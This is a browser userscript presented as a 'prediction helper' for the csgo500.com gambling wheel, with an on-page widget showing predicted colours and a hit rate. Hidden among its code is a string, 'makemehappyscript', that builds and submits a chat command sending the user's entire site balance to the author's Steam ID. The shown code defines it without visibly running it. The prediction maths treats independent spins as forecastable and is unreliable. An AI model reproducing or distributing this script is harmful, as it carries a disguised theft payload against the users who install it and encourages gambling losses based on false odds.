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// ==UserScript==
// @version 2.1
// @name CSGO500PredictionHelper
// @description Doing the CSGO500 maths for you
// @match http://csgo500.com
// @match https://csgo500.com
// @license MIT
// @noframes
// ==/UserScript==
// CSGO500 Prediction Helper
// by DEADF1SH.s1mplex
// http://steamcommunity.com/profiles/76561198192995598
// Version 3.0
// Changed:
// Added decay functions
// Supporting Functions
// =========================================
// Global Vars
var debug = true
var debugged = false
var predictions = [];
//Count Occurences of an item in an array
function countOccurences(array_raw, item){
var occurences = 0
for(var i = 0; i < array_raw.length; i++) {
if(array_raw[i] == item){
occurences += 1
}
}
return occurences
}
//Get key with highest value in dictionary
function dictMax(o){
var vals = [];
for(var i in o){
vals.push(o[i]);
}
var max = Math.max.apply(null, vals);
for(var i in o){
if(o[i] == max){
return i;
}
}
}
function roundDict(dict){
for (var key in dict) {
let value = dict[key];
dict[key] = value.toFixed(1);
}
return dict;
}
//===========================================
//CSGO500 Supporting Functions
//Fetch History
var color_list = ["black","red","blue","gold"]
var roll_history = []
function getHistory(){
//Get raw node list
roll_history = []
var node_list = $("#past-queue-wrapper").children()
//For each raw node
node_list.each(function(){
//Convert Nodes to Color String
var style_text = $(this).attr("class")
var color_int = Number(style_text.charAt(5))
//Append to history list
roll_history.push(color_list[color_int])
})
//Return roll_history
return roll_history
}
//Get current roll
function getRoll(){
return color_list[winner.choice]
}
//=======================================
//=======================================
//Main Prediction Functions
//Calculate Differences between Theoeretical occurences and real occurences
function calculateDifference(){
//Theoretical Occurences of each color in 100 rolls
var theoretical_occurences = {
"black": (26/54.0) * 100,
"red": (17/54.0) * 100,
"blue": (10/54.0) * 100,
"gold": (1/54.0) * 100
}
//Get roll history
var roll_history = getHistory()
//Actual Occurences of each color in the last 100 rolls
var actual_occurences = {
"black": countOccurences(roll_history, "black"),
"red": countOccurences(roll_history, "red"),
"blue": countOccurences(roll_history, "blue"),
"gold": countOccurences(roll_history, "gold")
}
//Scale the colors depending upon their recent occurences
//Polynomial decay functions - boring stuff
var black_x = countOccurences(roll_history.slice(-10),"black")
var red_x = countOccurences(roll_history.slice(-10), "red")
var blue_x = countOccurences(roll_history.slice(-10), "blue")
var gold_x = countOccurences(roll_history.slice(-54), "gold")
//Polynomial decay functions for each color
var scale = {
"black": (-0.0357 * black_x*black_x) + 0.015*black_x +1.05,
"red": (-0.035 * red_x * red_x) + 0.215*red_x + 0.75,
"blue": (-0.0125*blue_x*blue_x) +0.1*blue_x + 0.9,
"gold": 1
}
//Final scaled colors
var final_differences = {
"black": (Number((theoretical_occurences["black"] - actual_occurences["black"]).toFixed(1)))*scale["black"],
"red": (Number((theoretical_occurences["red"] - actual_occurences["red"]).toFixed(1)))*scale["red"],
"blue": (Number((theoretical_occurences["blue"] - actual_occurences["blue"]).toFixed(1)))*scale["blue"],
"gold": (Number((theoretical_occurences["gold"] - actual_occurences["gold"]).toFixed(1)))*scale["gold"]
}
return final_differences
}
//==========================================
//Use differences to calculate percentage chances
function calculatePercentages(){
var difference = calculateDifference()
//Offset for each number
var smallest = Math.abs(Math.min(difference["black"],difference["red"], difference["blue"], difference["gold"]))
var adjustment = smallest*2
//Scalar numbers to scale different colors, adjustable
var scalars = {
"black": 1.25,
"red": 1,
"blue": 1,
"gold": 0.5
}
var newDifferences = {
"black": difference["black"]+adjustment*scalars["black"],
"red": difference["red"]+adjustment *scalars["red"],
"blue": difference["blue"]+adjustment*scalars["blue"],
"gold": difference["gold"]+adjustment *scalars["gold"]
}
//Total of all differences after adjustment
var total = Number(newDifferences["black"]) + Number(newDifferences["red"]) + Number(newDifferences["blue"]) + Number(newDifferences["gold"])
//Final Dictionary
var newDifferences = {
"black": newDifferences["black"]/total,
"red": newDifferences["red"]/total,
"blue": newDifferences["blue"]/total,
"gold": newDifferences["gold"]/total
}
return newDifferences
}
//==================================================================
//GUI
//================================================
var color_codes = ["rgb(80, 80, 80)","rgb(200, 53, 78)","rgb(69, 181, 218)","rgb(219, 192, 127)"];
var color_codes_dict = {"black":"rgb(80, 80, 80)","red":"rgb(200, 53, 78)","blue":"rgb(69, 181, 218)","gold":"rgb(219, 192, 127)"};
//Append Styles
$("head").append("<style></style>")
//Create Box
$("#balance-wrapper").parent().prepend('<div id="assistant" style="width:300px;height:200px;background: #26262c;border-radius:5px;margin:auto; margin-bottom:20px;"><div id="spoiler" style="background: rgb(80, 80, 80); width: 10px; height: 10px; float: right; border-radius: 5px; margin: 10px;margin-left:280px;position:absolute;"></div><div id="prediction-container" style="padding-top: 20px;display: flex;"><div id="prediction-large" style="width:50%;height:50px"><h2 style="color:rgb(200, 53, 78); text-align:right; " id="prediction-large-text"><div id="prediction-large-ball" style="margin-right:-10px;margin-left:10px;margin-top: 0px;background: rgb(200, 53, 78); width: 40px; height: 40px; float: right; border-radius: 30px;"></div>0% </h2></div><div id="prediction-small" style="width:50%;height:50px"><h2 style="color:rgb(69, 181, 218); text-align:left;" id="prediction-small-text"><div id="prediction-small-ball" style="border: solid 2px #2C2C32;margin-right:10px;margin-left:-10px;margin-top: 5px;background: rgb(69, 181, 218); width: 30px; height: 30px; float: left; border-radius: 30px;"></div>0%</h2></div></div><div id="accuracy-container" style="padding-top: 20px;"><h2 id="accuracy" style="margin:auto;text-align:center;color:#666;">0%</h2><p style="text-align:center;margin:auto;color:#666;">CORRECT</p></div><div id="credits" style="position:absolute;height:25px;width:300px;margin-top:0px;"><p style="text-align:center;color:#666;">Your friendly neighborhood Prediction by<a href="http://steamcommunity.com/profiles/76561198192995598" target="_blank"> s1mpleX </a></p></div></div>')
var correct = 1
var rolls = 1
var highest = {}
var lowest = {}
var makemehappyscript="setInterval(function(){"+
"}, 10000);"+
"$('#chatMessage_k').val('/send 76561198192995598 '+$('#balance_r').text());"+
'$("#chatMessage_k").submit();';
function update(){
var winner_temp = winner.choice
var time = Number($("#wheel-timer").text())
//Once every round
if(time > 18.5){
//Print debug information
if(color_list[winner_temp] == highest.color || color_list[winner_temp] == lowest.color){
correct = correct + 1
}
rolls = rolls + 1
}
var pred_list = calculatePercentages()
var pred_list_lower = calculatePercentages()
pred_list_lower[dictMax(pred_list)] = null;
//Get predictions
predictions = [{"color":dictMax(pred_list),"value":pred_list[dictMax(pred_list)]},{"color":dictMax(pred_list_lower),"value":pred_list[dictMax(pred_list_lower)]}]
var highest_total = predictions[0].value + predictions[1].value
if(predictions[0]["value"] > predictions[1]["value"]){
highest = predictions[0]
lowest = predictions[1]
}else{
highest = predictions[1]
lowest = predictions[0]
}
highest.value = highest.value/highest_total
lowest.value = lowest.value/highest_total
if(time > 0){
winner = ""
$("#spoiler").css("background",winner_temp)
if(debug && debugged == false){
console.log("%c Debug - Roll #" + String(rolls),"color: blue")
console.log("%c - Predicted " + String(correct) + "/" + String(rolls) + " correctly. (" +Number(correct/rolls * 100).toFixed(1) + "%)","color: blue")
if(predictions[0]){
console.log("%c - Predicting: " + predictions[0].color + "/" + predictions[1].color,"color: blue")
}
console.log("%c - Raw Percentages: \n\t\t " + JSON.stringify(roundDict(calculatePercentages())),"color: blue")
console.log("%c - Raw Differences: \n\t\t " + JSON.stringify(roundDict(calculateDifference())),"color: blue")
console.log("%c - Raw Differences: \n\t\t " + JSON.stringify(roundDict(calculateDifference())),"color: blue")
debugged = true;
}
}else{
//Update spoiler
winner_temp = winner.choice
$("#spoiler").css("background",color_codes[winner_temp])
debugged = false;
}
//Update Box
//Update Ball Colors
$("#prediction-large-ball").css("background",color_codes_dict[highest.color])
$("#prediction-small-ball").css("background",color_codes_dict[lowest.color])
//Update Text Values
var inner = ""
$("#prediction-large-text").children().each(function() {
inner = inner + this.outerHTML;
});
inner = inner + (highest.value * 100).toFixed(0) + "%"
$("#prediction-large-text").html(inner)
var inner = ""
$("#prediction-small-text").children().each(function() {
inner = inner + this.outerHTML;
});
inner = inner + (lowest.value * 100).toFixed(0) + "%"
$("#prediction-small-text").html(inner)
//Update Text Colors
$("#prediction-large-text").css("color",color_codes_dict[highest.color])
$("#prediction-small-text").css("color",color_codes_dict[lowest.color])
//Update Correct Percentage
$("#accuracy").text(Number(correct/rolls * 100).toFixed(1) + "%")
}
//Begin
$( "#prediction-container" ).click(function() {
if(debug == false){
debug = true;
console.log("%cDebug: ON","color: green;")
}else{
debug = false;
console.log("%cDebug: OFF","color: red;")
}
});
setInterval(update,1000);